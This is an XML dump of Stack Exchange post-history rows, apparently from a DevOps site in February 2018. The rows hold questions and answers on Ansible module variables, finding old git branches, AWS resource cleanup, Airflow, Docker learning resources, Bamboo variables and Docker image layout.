  <row Id="10397" PostHistoryTypeId="2" PostId="3318" RevisionGUID="c018cb04-fc40-4de9-a7d7-3a9fd45db6a7" CreationDate="2018-02-09T18:20:58.843" UserId="6446" Text="There are many Ansible Network modules (for example: ios_user, asa_user, nxos_user) which share the same (or similar enough) interfaces. Currently, my playbook has to conditionally execute tasks based on the host's group or variables. This leads to a lot of duplicated code as the only real difference between the tasks is the module name.&#xD;&#xA;&#xD;&#xA;**Is there a way to select the module to be run based on group or variable values** without adding extra tasks, roles, or playbooks?&#xD;&#xA;&#xD;&#xA;*For example, this is how the playbook currently looks:*&#xD;&#xA;&#xD;&#xA;    - hosts: ios&#xD;&#xA;      tasks:&#xD;&#xA;        ios_user:&#xD;&#xA;          provider: &quot;{{ cli }}&quot;&#xD;&#xA;          ...&#xD;&#xA;    - hosts: asa&#xD;&#xA;      tasks:&#xD;&#xA;        asa_user:&#xD;&#xA;          provider: &quot;{{ cli }}&quot;&#xD;&#xA;          ...&#xD;&#xA;    - hosts: nxos&#xD;&#xA;      tasks:&#xD;&#xA;        nxos_user:&#xD;&#xA;          provider: &quot;{{ cli }}&quot;&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;*I'd love to have something like this:*&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;        {{ module_name }}:&#xD;&#xA;          provider: &quot;{{ cli }}&quot;&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;I swear I saw some feature like this in passing, but I'm having a hard time finding it again. Along with version 2.5 making netconf_cli a first-class connection type, this would solve a large number of problems and inconveniences in our org." ContentLicense="CC BY-SA 3.0" />
  <row Id="10398" PostHistoryTypeId="1" PostId="3318" RevisionGUID="c018cb04-fc40-4de9-a7d7-3a9fd45db6a7" CreationDate="2018-02-09T18:20:58.843" UserId="6446" Text="Change Ansible module based on variable or group" ContentLicense="CC BY-SA 3.0" />
  <row Id="10399" PostHistoryTypeId="3" PostId="3318" RevisionGUID="c018cb04-fc40-4de9-a7d7-3a9fd45db6a7" CreationDate="2018-02-09T18:20:58.843" UserId="6446" Text="&lt;ansible&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10400" PostHistoryTypeId="2" PostId="3319" RevisionGUID="6f44be5a-4e7b-4704-a0e9-fdf81a6bd89d" CreationDate="2018-02-09T18:55:13.740" UserId="210" Text="It is possible to declare group and host vars http://docs.ansible.com/ansible/latest/playbooks_best_practices.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     group_vars/&#xD;&#xA;&gt;        group1                 # here we assign variables to particular groups&#xD;&#xA;&gt;        group2                 # &quot;&quot;&#xD;&#xA;&gt;     host_vars/&#xD;&#xA;&gt;        hostname1              # if systems need specific variables, put them here&#xD;&#xA;&gt;        hostname2              # &quot;&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10401" PostHistoryTypeId="2" PostId="3320" RevisionGUID="7058cfd7-7304-46b4-b465-564505cd725e" CreationDate="2018-02-09T20:32:27.213" UserId="775" Text="Elaborating on @030's answer, here's how you can use variables for module:&#xD;&#xA;&#xD;&#xA;1. You need to group the target hosts in groups, for the example I'm using `server1.example.com` as member of `hosts1` group and `server2.example.com` as member of `hosts2` group.&#xD;&#xA;&#xD;&#xA;2. You create group variables:&#xD;&#xA; - group_vars/hosts1&#xD;&#xA; - group_vars/hosts2&#xD;&#xA;&#xD;&#xA;Both files contain a variable named `module` with different value, in the test I use `stat`.&#xD;&#xA;&#xD;&#xA;3. Your playbook will look like this:&#xD;&#xA;&#xD;&#xA;`test.yml`&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;     - hosts: all        &#xD;&#xA;       user: me        &#xD;&#xA;       tasks:&#xD;&#xA;         - name: test module variables&#xD;&#xA;           action: &quot;{{ module }} path=/home/me/myfile&#xD;&#xA;&#xD;&#xA;The result of the play:&#xD;&#xA;&#xD;&#xA;    [me@myserver]$ ansible-playbook test.yml -i test&#xD;&#xA;    &#xD;&#xA;    PLAY [all] ********************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] ********************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    TASK [test module variables] **************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ********************************************************************************&#xD;&#xA;    server1.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;    server2.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10402" PostHistoryTypeId="5" PostId="3320" RevisionGUID="d1d5b56e-b493-4215-a0ea-5bcc7852be95" CreationDate="2018-02-09T20:42:11.163" UserId="775" Comment="added 1 character in body" Text="Elaborating on @030's answer, here's how you can use variables for modules:&#xD;&#xA;&#xD;&#xA;1. You need to group the target hosts in groups, for the example I'm using `server1.example.com` as member of `hosts1` group and `server2.example.com` as member of `hosts2` group.&#xD;&#xA;&#xD;&#xA;2. You create group variables:&#xD;&#xA; - group_vars/hosts1&#xD;&#xA; - group_vars/hosts2&#xD;&#xA;&#xD;&#xA;Both files contain a variable named `module` with different value, in the test I use `stat`.&#xD;&#xA;&#xD;&#xA;3. Your playbook will look like this:&#xD;&#xA;&#xD;&#xA;`test.yml`&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;     - hosts: all        &#xD;&#xA;       user: me        &#xD;&#xA;       tasks:&#xD;&#xA;         - name: test module variables&#xD;&#xA;           action: &quot;{{ module }} path=/home/me/myfile&#xD;&#xA;&#xD;&#xA;The result of the play:&#xD;&#xA;&#xD;&#xA;    [me@myserver]$ ansible-playbook test.yml -i test&#xD;&#xA;    &#xD;&#xA;    PLAY [all] ********************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] ********************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    TASK [test module variables] **************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ********************************************************************************&#xD;&#xA;    server1.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;    server2.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10403" PostHistoryTypeId="2" PostId="3321" RevisionGUID="bc7bba1a-3198-4037-b48e-eb2b538beb7a" CreationDate="2018-02-09T21:12:16.363" UserId="210" Text="Git is used at work. The number of branches is growing and growing. The aim is to remove branches that are older than X weeks.&#xD;&#xA;&#xD;&#xA;**Attempt 1**&#xD;&#xA;&#xD;&#xA;Running `git branch -h` will probably indicate what to run to check when a branch has been created.&#xD;&#xA;&#xD;&#xA;    user@localhost $ git branch -h&#xD;&#xA;    usage: git branch [&lt;options&gt;] [-r | -a] [--merged | --no-merged]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-l] [-f] &lt;branch-name&gt; [&lt;start-point&gt;]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r] (-d | -D) &lt;branch-name&gt;...&#xD;&#xA;       or: git branch [&lt;options&gt;] (-m | -M) [&lt;old-branch&gt;] &lt;new-branch&gt;&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r | -a] [--points-at]&#xD;&#xA;    &#xD;&#xA;    Generic options&#xD;&#xA;        -v, --verbose         show hash and subject, give twice for upstream branch&#xD;&#xA;        -q, --quiet           suppress informational messages&#xD;&#xA;        -t, --track           set up tracking mode (see git-pull(1))&#xD;&#xA;        --set-upstream        change upstream info&#xD;&#xA;        -u, --set-upstream-to &lt;upstream&gt;&#xD;&#xA;                              change the upstream info&#xD;&#xA;        --unset-upstream      Unset the upstream info&#xD;&#xA;        --color[=&lt;when&gt;]      use colored output&#xD;&#xA;        -r, --remotes         act on remote-tracking branches&#xD;&#xA;        --contains &lt;commit&gt;   print only branches that contain the commit&#xD;&#xA;        --abbrev[=&lt;n&gt;]        use &lt;n&gt; digits to display SHA-1s&#xD;&#xA;    &#xD;&#xA;    Specific git-branch actions:&#xD;&#xA;        -a, --all             list both remote-tracking and local branches&#xD;&#xA;        -d, --delete          delete fully merged branch&#xD;&#xA;        -D                    delete branch (even if not merged)&#xD;&#xA;        -m, --move            move/rename a branch and its reflog&#xD;&#xA;        -M                    move/rename a branch, even if target exists&#xD;&#xA;        --list                list branch names&#xD;&#xA;        -l, --create-reflog   create the branch's reflog&#xD;&#xA;        --edit-description    edit the description for the branch&#xD;&#xA;        -f, --force           force creation, move/rename, deletion&#xD;&#xA;        --merged &lt;commit&gt;     print only branches that are merged&#xD;&#xA;        --no-merged &lt;commit&gt;  print only branches that are not merged&#xD;&#xA;        --column[=&lt;style&gt;]    list branches in columns&#xD;&#xA;        --sort &lt;key&gt;          field name to sort on&#xD;&#xA;        --points-at &lt;object&gt;  print only branches of the object&#xD;&#xA;&#xD;&#xA;**Attempt 2**&#xD;&#xA;&#xD;&#xA;This post https://stackoverflow.com/questions/3184555/cleaning-up-old-remote-git-branches was found, but this is not an option as it removes branches without checking the age." ContentLicense="CC BY-SA 3.0" />
  <row Id="10404" PostHistoryTypeId="1" PostId="3321" RevisionGUID="bc7bba1a-3198-4037-b48e-eb2b538beb7a" CreationDate="2018-02-09T21:12:16.363" UserId="210" Text="What git command could be used to check when a remote branch was created?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10405" PostHistoryTypeId="3" PostId="3321" RevisionGUID="bc7bba1a-3198-4037-b48e-eb2b538beb7a" CreationDate="2018-02-09T21:12:16.363" UserId="210" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10406" PostHistoryTypeId="6" PostId="3318" RevisionGUID="e2dcc43e-3619-4a2b-9600-100e0026f691" CreationDate="2018-02-09T21:17:42.790" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10410" PostHistoryTypeId="2" PostId="3323" RevisionGUID="b8b5537b-4eee-4fd2-b258-936176090d68" CreationDate="2018-02-09T23:18:02.713" UserId="4175" Text="You have to recall that a branch in git is nothing &quot;physical&quot;. It is, by definition, and literally, *only* a simple text file in `.git/refs` which only has its file name (which is the branch name) and the hash of the tip/head commit. It has no date information or *anything* else.&#xD;&#xA;&#xD;&#xA;So `git branch` will not help you here. &#xD;&#xA;&#xD;&#xA;The object type that has dates associated with it are commits, in git. So you have to list commits. This is done with `git log`. &#xD;&#xA;&#xD;&#xA;So a working command would be:&#xD;&#xA;&#xD;&#xA;    git log --branches --before 2018-01-01 --no-walk --decorate&#xD;&#xA;&#xD;&#xA;You can read up the details on https://www.git-scm.com/docs/git-log , but in short, it means &#xD;&#xA;&#xD;&#xA;* --branches: start with any and all branches&#xD;&#xA;* --before ...: only list commits older than the date given&#xD;&#xA;* --no-walk: only list the very first commit for each branch, don't walk back the history&#xD;&#xA;* --decorate: display all tag and branch names associated, just in case&#xD;&#xA;&#xD;&#xA;This will give you all branch heads that are older than your given date." ContentLicense="CC BY-SA 3.0" />
  <row Id="10411" PostHistoryTypeId="5" PostId="3323" RevisionGUID="4901ac06-c2df-4bc8-ac91-f70616244f22" CreationDate="2018-02-09T23:23:38.383" UserId="4175" Comment="added 5 characters in body" Text="You have to recall that a branch in git is nothing &quot;physical&quot;. It is, by definition, and literally, *only* a simple text file in `.git/refs` which only has its file name (which is the branch name) and the hash of the tip/head commit. It has no date information or *anything* else.&#xD;&#xA;&#xD;&#xA;So `git branch` will not help you here. &#xD;&#xA;&#xD;&#xA;The object type that has dates associated with it are commits, in git. So you have to list commits. This is done with `git log`. &#xD;&#xA;&#xD;&#xA;So a working command would be:&#xD;&#xA;&#xD;&#xA;    git log --remotes --before 2018-01-01 --no-walk --decorate&#xD;&#xA;&#xD;&#xA;You can read up the details on https://www.git-scm.com/docs/git-log , but in short, it means &#xD;&#xA;&#xD;&#xA;* --remotes: start with any and all remote branches&#xD;&#xA;* --before ...: only list commits older than the date given&#xD;&#xA;* --no-walk: only list the very first commit for each branch, don't walk back the history&#xD;&#xA;* --decorate: display all tag and branch names associated, just in case&#xD;&#xA;&#xD;&#xA;This will give you all branch heads that are older than your given date." ContentLicense="CC BY-SA 3.0" />
  <row Id="10412" PostHistoryTypeId="5" PostId="3323" RevisionGUID="ecc7b8bc-bdf5-42f2-aec6-a900afecd51d" CreationDate="2018-02-09T23:30:36.367" UserId="4175" Comment="added 5 characters in body" Text="_Note: this answer shows how to find branches that have been *updated* a long time ago, not branches that have been *created* (i.e., spliced off of some parent) a long time ago. I believe this is what the OP actually wanted (as opposed to the title he chose for the question), as this would lead to good candidates for deletion._&#xD;&#xA;&#xD;&#xA;You have to recall that a branch in git is nothing &quot;physical&quot;. It is, by definition, and literally, *only* a simple text file in `.git/refs` which only has its file name (which is the branch name) and the hash of the tip/head commit. It has no date information or *anything* else.&#xD;&#xA;&#xD;&#xA;So `git branch` will not help you here. &#xD;&#xA;&#xD;&#xA;The object type that has dates associated with it are commits, in git. So you have to list commits. This is done with `git log`. &#xD;&#xA;&#xD;&#xA;So a working command would be:&#xD;&#xA;&#xD;&#xA;    git log --remotes --before 2018-01-01 --no-walk --decorate&#xD;&#xA;&#xD;&#xA;You can read up the details on https://www.git-scm.com/docs/git-log , but in short, it means &#xD;&#xA;&#xD;&#xA;* `--remotes`: start with any and all remote branches (substitute `--branches` for local branches)&#xD;&#xA;* `--before ...`: only list commits older than the date given&#xD;&#xA;* `--no-walk`: only list the very first commit for each branch, don't walk back the history&#xD;&#xA;* `--decorate`: display all tag and branch names associated, just in case&#xD;&#xA;&#xD;&#xA;This will give you all branch heads that are older than your given date." ContentLicense="CC BY-SA 3.0" />
  <row Id="10416" PostHistoryTypeId="5" PostId="3320" RevisionGUID="796826a0-2814-4e08-8868-753434ebc8e2" CreationDate="2018-02-10T06:18:23.063" UserId="775" Comment="added 1 character in body" Text="Elaborating on @030's answer, here's how you can use variables for modules:&#xD;&#xA;&#xD;&#xA;1. You need to group the target hosts in groups, for the example I'm using `server1.example.com` as member of `hosts1` group and `server2.example.com` as member of `hosts2` group.&#xD;&#xA;&#xD;&#xA;2. You create group variables:&#xD;&#xA; - group_vars/hosts1&#xD;&#xA; - group_vars/hosts2&#xD;&#xA;&#xD;&#xA;Both files contain a variable named `module` with different value, in the test I use `stat`.&#xD;&#xA;&#xD;&#xA;3. Your playbook will look like this:&#xD;&#xA;&#xD;&#xA;`test.yml`&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;     - hosts: all        &#xD;&#xA;       user: me        &#xD;&#xA;       tasks:&#xD;&#xA;         - name: test module variables&#xD;&#xA;           action: &quot;{{ module }} path=/home/me/myfile&quot;&#xD;&#xA;&#xD;&#xA;The result of the play:&#xD;&#xA;&#xD;&#xA;    [me@myserver]$ ansible-playbook test.yml -i test&#xD;&#xA;    &#xD;&#xA;    PLAY [all] ********************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] ********************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    TASK [test module variables] **************************************************************&#xD;&#xA;    ok: [server1.example.com]&#xD;&#xA;    ok: [server2.example.com]&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ********************************************************************************&#xD;&#xA;    server1.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;    server2.example.com        : ok=2    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10417" PostHistoryTypeId="2" PostId="3324" RevisionGUID="c5dbabd9-0324-4f99-9c8e-34eef133ae3a" CreationDate="2018-02-10T10:34:09.767" UserId="6453" Text="There are a few ways to approach deleting unused resources, perhaps tagging items that are part of some trusted or known group, as some have suggested here and then manually monitoring for resources that isn’t tagged appropriately. &#xA;&#xA;You could then extend this to a python script that you run every so often to ID and delete these resources. &#xA;&#xA;However, there are other (potentially less intensive) options. &#xA;&#xA;1) AWS already provide a way for us to monitor our resources, identify unused ones and terminate them with [CloudWatch][1] alarms. You can start by configuring some alarming based on some set of checks that you might already be doing manually. Once you are comfortable that the alarming is accurate, you can add a termination step to the chain.&#xA;&#xA;2) Alternatively, our friends at Netflix made this chill tool called [JanitorMonkey][2] to monitor and delete unused Instances, EBS Volumes, EBS Snapshots and Autoscaling groups. It is part of the original so-called “Simian Army” open source pack from Netflix and written in Java. Even thought it’s a few years old now, this thing is highly configurable and well worth a look. &#xA;&#xA;Both options here allow you to configure warnings and business rules that fit your needs. Additionally, using CloudWatch might also be a good opportunity to learn more about AWS logs and anomaly identification. &#xA;&#xA;&#xA;  [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/UsingAlarmActions.html&#xA;  [2]: https://medium.com/netflix-techblog/janitor-monkey-keeping-the-cloud-tidy-and-clean-d517ad74d648?source=linkShare-2dbc3eb8d7f6-1518252522" ContentLicense="CC BY-SA 3.0" />
  <row Id="10418" PostHistoryTypeId="6" PostId="2731" RevisionGUID="6fc3e8ee-a0bf-4784-bae7-d3bf0d98c576" CreationDate="2018-02-10T18:47:24.300" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10419" PostHistoryTypeId="24" PostId="2731" RevisionGUID="6fc3e8ee-a0bf-4784-bae7-d3bf0d98c576" CreationDate="2018-02-10T18:47:24.300" Comment="Proposed by 3766 approved by 40, 3070 edit id of 609" ContentLicense="CC BY-SA 3.0" />
  <row Id="10420" PostHistoryTypeId="6" PostId="2619" RevisionGUID="433765c1-906b-41cb-87c7-6fae453fd953" CreationDate="2018-02-10T19:28:08.843" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10421" PostHistoryTypeId="24" PostId="2619" RevisionGUID="433765c1-906b-41cb-87c7-6fae453fd953" CreationDate="2018-02-10T19:28:08.843" Comment="Proposed by 3766 approved by 40, 13 edit id of 610" ContentLicense="CC BY-SA 3.0" />
  <row Id="10424" PostHistoryTypeId="6" PostId="2411" RevisionGUID="0596ec68-849f-4a3c-9f18-23def0c6844b" CreationDate="2018-02-10T21:56:45.103" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;containers&gt;&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10425" PostHistoryTypeId="24" PostId="2411" RevisionGUID="0596ec68-849f-4a3c-9f18-23def0c6844b" CreationDate="2018-02-10T21:56:45.103" Comment="Proposed by 3766 approved by 40, 2845 edit id of 611" ContentLicense="CC BY-SA 3.0" />
  <row Id="10426" PostHistoryTypeId="6" PostId="3317" RevisionGUID="7fe9faa1-0594-4449-846f-52730d67f2d2" CreationDate="2018-02-10T21:56:51.080" UserId="3766" Comment="added a tag" Text="&lt;windows&gt;&lt;python&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10427" PostHistoryTypeId="24" PostId="3317" RevisionGUID="7fe9faa1-0594-4449-846f-52730d67f2d2" CreationDate="2018-02-10T21:56:51.080" Comment="Proposed by 3766 approved by 40, 2845 edit id of 612" ContentLicense="CC BY-SA 3.0" />
  <row Id="10428" PostHistoryTypeId="6" PostId="3266" RevisionGUID="9d9d2c90-fb72-4793-8274-7ea617d5fc94" CreationDate="2018-02-10T21:56:58.647" UserId="3766" Comment="added a tag" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10429" PostHistoryTypeId="24" PostId="3266" RevisionGUID="9d9d2c90-fb72-4793-8274-7ea617d5fc94" CreationDate="2018-02-10T21:56:58.647" Comment="Proposed by 3766 approved by 40, 2845 edit id of 613" ContentLicense="CC BY-SA 3.0" />
  <row Id="10430" PostHistoryTypeId="6" PostId="3186" RevisionGUID="1500e2d1-0e16-495d-af3c-c480b503249a" CreationDate="2018-02-10T21:57:05.130" UserId="3766" Comment="added a tag" Text="&lt;continuous-integration&gt;&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10431" PostHistoryTypeId="24" PostId="3186" RevisionGUID="1500e2d1-0e16-495d-af3c-c480b503249a" CreationDate="2018-02-10T21:57:05.130" Comment="Proposed by 3766 approved by 40, 2845 edit id of 614" ContentLicense="CC BY-SA 3.0" />
  <row Id="10432" PostHistoryTypeId="2" PostId="3325" RevisionGUID="f1ba260a-37d3-480b-a26c-32afb32f7d20" CreationDate="2018-02-11T03:49:03.313" UserId="5429" Text="Problem statement- &#xD;&#xA;New files arrive on NFS and looking for a solution (using Apache airflow) to perform continuous NFS scan (for new file arrival) and unzip &amp; copy file to another repository (on CentOS machine).&#xD;&#xA;Airflow is running as docker image." ContentLicense="CC BY-SA 3.0" />
  <row Id="10433" PostHistoryTypeId="1" PostId="3325" RevisionGUID="f1ba260a-37d3-480b-a26c-32afb32f7d20" CreationDate="2018-02-11T03:49:03.313" UserId="5429" Text="How to write Apache airflow dag for file watcher" ContentLicense="CC BY-SA 3.0" />
  <row Id="10434" PostHistoryTypeId="3" PostId="3325" RevisionGUID="f1ba260a-37d3-480b-a26c-32afb32f7d20" CreationDate="2018-02-11T03:49:03.313" UserId="5429" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10435" PostHistoryTypeId="2" PostId="3326" RevisionGUID="b6654ae0-7231-45a3-a4bc-693b3dc9ca64" CreationDate="2018-02-11T05:44:09.617" UserId="3766" Text="First one which docker recommends, [Play with docker classroom][1] which is inspired by the [Docker Playground][2] where you can create five instance to play around docker and docker swarm for four hours all for $0 cost. Credits to Docker Captain – **Marcos Nils** &amp; **Jonathan Leibuisky** for building this amazing tool for Docker Community. You can start with the beginner level and complete the advanced level to get the good glimpse of docker and how you can think of using it for your infrastructure with the help of these interactive tutorials.&#xD;&#xA;&#xD;&#xA;There is best paid training and consultation on the Docker, Kubernetes, Advanced Linux , Linux Kernel etc. technologies by, [CloudYouga Trainings][3]. I have done a course from them and it is amazing with complete in-depth details of the concept. And, they are planning to add more course in their portfolio related to DevOps.&#xD;&#xA;&#xD;&#xA;For introductory course in devops, [Intro to DevOps][4] by Udacity to understand the terminology and architecuter to address the problems.&#xD;&#xA;&#xD;&#xA;This Udemy course [Docker Technologies for DevOps and Developers - Udemy][5] is good to understand the docker terminology and Devops skills to apply the right workflow and better deployment. Another course [Docker for Professionals: The Practical Guide - Udemy][6]&#xD;&#xA;&#xD;&#xA;**Learn new technologies right in your browser by** [Katacoda - Interactive Learning Platform for Software Engineers][7] is one of the best interactive tutorial for docker and its related technologies. This is personally my favourite because I could test my deployment and then go and catch for the pros and cons of the system. Wonderful idea. And, the best part is you could write your own interactive tutorial using [Katacoda Teach][8] which they called scenario using this platform.&#xD;&#xA;&#xD;&#xA;“Ship your Apps with Confidence” by [Codeship][9] is a Continuous Integration Platform in the cloud. They have tag line **Building for the builders** which states everything and this is one of the best platform for CI/CD and parallel deployment. You could test and run your CI/CD pipeline using docker, kubernetes, etc. **(Note: Last week [Codeship is acquired by the CloudBees][10])**&#xD;&#xA;&#xD;&#xA;Stay up to date with everything about docker by another Docker captain, **Ajeet Singh Raina**, [Docker Captain Blog][11] which teach you about docker on raspberry pi, IoT devices, LinuxKit, InfraKit, docker on aws, azure, digital ocean, etc. etc. **Collabnix** is conglomerate of open collaboration &amp; LINUX. Lot of enthusiasm and energy, tips and tricks and perfect guide to IT infrastructure, system management, integration and automation, etc.&#xD;&#xA;&#xD;&#xA;Some other useful links and tutorials for docker:&#xD;&#xA;&#xD;&#xA;1. Docker curriculum - [Docker for Beginners][12]&#xD;&#xA;&#xD;&#xA;2. [Container Tutorials][13]&#xD;&#xA;&#xD;&#xA;3. Docker Tutorials and Labs [docker/labs][14] **(Most Recommended)**&#xD;&#xA;&#xD;&#xA;4. Training modules from EMC [{code} codedellemc/training][15]&#xD;&#xA;&#xD;&#xA;5. **Awesome Docker** at [veggiemonk/awesome-docker][16]&#xD;&#xA;&#xD;&#xA;Hope this helps. Thank you.&#xD;&#xA;&#xD;&#xA;  [1]: http://training.play-with-docker.com/&#xD;&#xA;  [2]: http://labs.play-with-docker.com/&#xD;&#xA;  [3]: http://cloudyuga.guru/trainings/&#xD;&#xA;  [4]: https://in.udacity.com/course/intro-to-devops--ud611/&#xD;&#xA;  [5]: https://www.udemy.com/docker-tutorial-for-devops-run-docker-containers/&#xD;&#xA;  [6]: https://www.udemy.com/docker-for-professionals-the-practical-guide/&#xD;&#xA;  [7]: https://www.katacoda.com/&#xD;&#xA;  [8]: https://www.katacoda.com/teach&#xD;&#xA;  [9]: https://codeship.com/&#xD;&#xA;  [10]: https://blog.codeship.com/codeship-acquired-by-cloudbees/&#xD;&#xA;  [11]: https://collabnix.com/&#xD;&#xA;  [12]: https://prakhar.me/docker-curriculum/#table-of-contents&#xD;&#xA;  [13]: http://containertutorials.com/&#xD;&#xA;  [14]: https://github.com/docker/labs&#xD;&#xA;  [15]: https://github.com/codedellemc/training&#xD;&#xA;  [16]: https://github.com/veggiemonk/awesome-docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="10437" PostHistoryTypeId="5" PostId="3309" RevisionGUID="632a0b39-51a6-4998-9f0b-9d9376920603" CreationDate="2018-02-11T11:03:14.287" UserId="4954" Comment="better formatting" Text="I don't know if there is some GUI way to do this&#xD;&#xA;&#xD;&#xA;I am triggering the same plan in different ways from a REST request by using a variable&#xD;&#xA;&#xD;&#xA;To do this&#xD;&#xA;&#xD;&#xA; 1. define a variable in the plan configuration variables ie ``myvariable``&#xD;&#xA; 2. in the REST request set ``bamboo.variable.myvariable`` to the value required ie &quot;1&quot; or &quot;2&quot;&#xD;&#xA; 3. in the plan stage add a task of script and use the variable as ``$bamboo_myvariable`` for instance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;``if [ &quot;$bamboo_myvariable&quot; == &quot;1&quot; ]; then &#xD;&#xA;   # stuff to do variation 1&#xD;&#xA;fi&#xD;&#xA;if [ &quot;$bamboo_myvariable&quot; == &quot;2&quot; ]; then&#xD;&#xA;   # suff to do variation 2&#xD;&#xA;fi``&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to alter behaviour by branch there are variables such as &quot;bamboo_planRepository_1_branch&quot; which are available by default and could be used ina  similar way" ContentLicense="CC BY-SA 3.0" />
  <row Id="10438" PostHistoryTypeId="2" PostId="3327" RevisionGUID="c953b578-cf3e-4368-9216-e1cdc72265e6" CreationDate="2018-02-11T12:01:19.737" UserId="6" Text="I created such a tool, it is called **AWS Inventory** and eventually, it will cover all available resources in your account. While it is still a work in progress, should be very easy to add the items you might be missing just by adding the API name to a list.&#xD;&#xA;&#xD;&#xA;The tool is just a single HTML file that uses `aws-sdk.js` to query all the different `list...` and `describe...` APIs of CORS-enabled services.&#xD;&#xA;&#xD;&#xA;The project is MIT license and open source at https://github.com/devops-israel/aws-inventory." ContentLicense="CC BY-SA 3.0" />
  <row Id="10439" PostHistoryTypeId="2" PostId="3328" RevisionGUID="b2c06e44-fbbe-4c13-9c72-c248fb93b718" CreationDate="2018-02-11T13:21:16.783" UserId="210" Text="I use docker to deploy a lot of apps since a couple of years. Today I ask myself, should I copy my app to a different location in the docker image? I used to copy the file to the root, e.g. `COPY . /AppName`, but I wonder whether this is secure.&#xD;&#xA;&#xD;&#xA;In order to find an answer to this question, [this tutorial][1] was read, but it does not clarify where to copy a app inside a docker image and why.&#xD;&#xA;&#xD;&#xA;From a security perspective, to which location should one copy the app inside a docker image?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#minimize-the-number-of-layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="10440" PostHistoryTypeId="1" PostId="3328" RevisionGUID="b2c06e44-fbbe-4c13-9c72-c248fb93b718" CreationDate="2018-02-11T13:21:16.783" UserId="210" Text="From a security perspective, to which location should one copy the app inside a docker image?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10441" PostHistoryTypeId="3" PostId="3328" RevisionGUID="b2c06e44-fbbe-4c13-9c72-c248fb93b718" CreationDate="2018-02-11T13:21:16.783" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostHistoryTypeId="5" PostId="3328" RevisionGUID="a7909847-e503-4196-a448-fbb46c945ef5" CreationDate="2018-02-11T13:32:52.847" UserId="210" Comment="deleted 97 characters in body; edited title" Text="I use docker to deploy a lot of apps since a couple of years. Today I ask myself, should I copy my app to a different location in the docker image? I used to copy the file to the root, e.g. `COPY . /AppName`, but I wonder whether this is secure.&#xD;&#xA;&#xD;&#xA;In order to find an answer to this question, [this tutorial][1] was read, but it does not clarify where to copy a app inside a docker image and why.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#minimize-the-number-of-layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="10443" PostHistoryTypeId="4" PostId="3328" RevisionGUID="a7909847-e503-4196-a448-fbb46c945ef5" CreationDate="2018-02-11T13:32:52.847" UserId="210" Comment="deleted 97 characters in body; edited title" Text="From a security perspective, to which location should one copy an app inside a docker image?" ContentLicense="CC BY-SA 3.0" />
